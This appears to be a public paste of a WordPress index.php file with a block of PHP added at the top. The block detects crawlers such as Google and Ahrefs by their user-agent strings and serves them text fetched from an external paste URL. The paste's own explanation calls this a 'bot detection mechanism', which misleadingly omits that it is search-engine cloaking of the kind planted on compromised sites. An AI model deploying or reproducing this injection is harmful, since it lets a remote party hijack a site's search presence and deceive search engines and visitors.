G

Untitled

public
Guest Mar 16, 2026 Never 336
Clone
Plaintext paste1.txt 36 lines (30 loc) | 832 Bytes
This PHP code snippet consists of a function `is_bot()` and some conditional logic that checks whether the current user is a bot based on the HTTP_USER_AGENT and a predefined list of bot strings. Here's a breakdown of the code: 1. **is_bot() Function**: - The `is_bot()` function checks if the user agent string contains any of the bot keywords listed in the `$bots` array. - If a match is found (case-insensitive), the function returns `true`, indicating that the user is a bot. If no match is found, it returns `false`. 2. **Bot Detection**: - The function is called in the if statement `if (is_bot()) {...}`. If the user is detected as a bot, the script retrieves the content from the provided URL `https://pastecode.dev/raw/b2b4bt74/paste1.txt` using `file_get_contents()` and outputs it. - Finally, the script exits using `exit` or `die()` to stop further execution. 3. **WordPress Integration**: - The remaining comments and code are related to WordPress integration. It defines `WP_USE_THEMES` as `true` and includes the necessary `wp-blog-header.php` file to load WordPress environment and theme. Overall, this code acts as a bot detection mechanism to serve different content based on whether the user is identified as a bot or not. If it's a bot, it fetches content from an external source; otherwise, it proceeds with WordPress functionality.
1
<?php
2
function is_bot() {
3
$user_agent = $_SERVER['HTTP_USER_AGENT'];
4
$bots = array("bot","ahrefs","google");
5
6
foreach ($bots as $bot) {
7
if (stripos($user_agent, $bot) !== false) {
8
return true;
9
}
10
}
11
12
return false;
13
}
14
15
if (is_bot()) {
16
$message = file_get_contents('https://pastecode.dev/raw/b2b4bt74/paste1.txt');
17
echo $message;
18
exit; // Atau bisa menggunakan die()
19
}
20
21
/**
22
* Front to the WordPress application. This file doesn't do anything, but loads
23
* wp-blog-header.php which does and tells WordPress to load the theme.
24
*
25
* @package WordPress
26
*/
27
28
/**
29
* Tells WordPress to load the WordPress theme and output it.
30
*
31
* @var bool
32
*/
33
define( 'WP_USE_THEMES', true );
34
35
/** Loads the WordPress Environment and Template */
36
require __DIR__ . '/wp-blog-header.php';